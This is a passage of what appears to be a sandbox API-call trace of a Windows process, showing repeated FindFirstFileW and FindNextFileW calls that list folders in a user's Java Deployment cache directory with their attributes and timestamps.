ftCreationTime.dwLowDateTime=0x473ee320, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x473ee320, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x473ee320, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="log", cAlternateFileName="")) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0147.450] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4889c240, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4889c240, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x4889c240, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 0 [0147.451] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.451] SetErrorMode (uMode=0x0) returned 0x1 [0147.451] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache", lpFilePart=0x0) returned 0x3d [0147.451] SetErrorMode (uMode=0x1) returned 0x0 [0147.451] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.0", cAlternateFileName="")) returned 1 [0147.455] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.0", cAlternateFileName="")) returned 0 [0147.455] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.455] SetErrorMode (uMode=0x0) returned 0x1 [0147.455] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache", lpFilePart=0x0) returned 0x3d [0147.456] SetErrorMode (uMode=0x1) returned 0x0 [0147.456] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48df73c0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48df73c0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.0", cAlternateFileName="")) returned 1 [0147.456] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.0", cAlternateFileName="")) returned 0 [0147.456] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.456] SetErrorMode (uMode=0x0) returned 0x1 [0147.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0", lpFilePart=0x0) returned 0x41 [0147.457] SetErrorMode (uMode=0x1) returned 0x0 [0147.457] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Sun\\Java\\Deployment\\cache\\6.0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\sun\\java\\deployment\\cache\\6.0\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.459] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48df73c0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e8f940, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e8f940, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="13", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="15", cAlternateFileName="")) returned 1 [0147.460] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="17", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="18", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="20", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="21", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="22", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="24", cAlternateFileName="")) returned 1 [0147.461] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="25", cAlternateFileName="")) returned 1 [0147.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="26", cAlternateFileName="")) returned 1 [0147.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="27", cAlternateFileName="")) returned 1 [0147.462] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="28", cAlternateFileName="")) returned 1 [0147.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="29", cAlternateFileName="")) returned 1 [0147.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e1d520, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e1d520, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e1d520, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3", cAlternateFileName="")) returned 1 [0147.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="30", cAlternateFileName="")) returned 1 [0147.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="31", cAlternateFileName="")) returned 1 [0147.464] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="33", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="34", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="35", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="36", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48e43680, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48e43680, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48e43680, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="37", cAlternateFileName="")) returned 1 [0147.465] FindNextFileW (in: 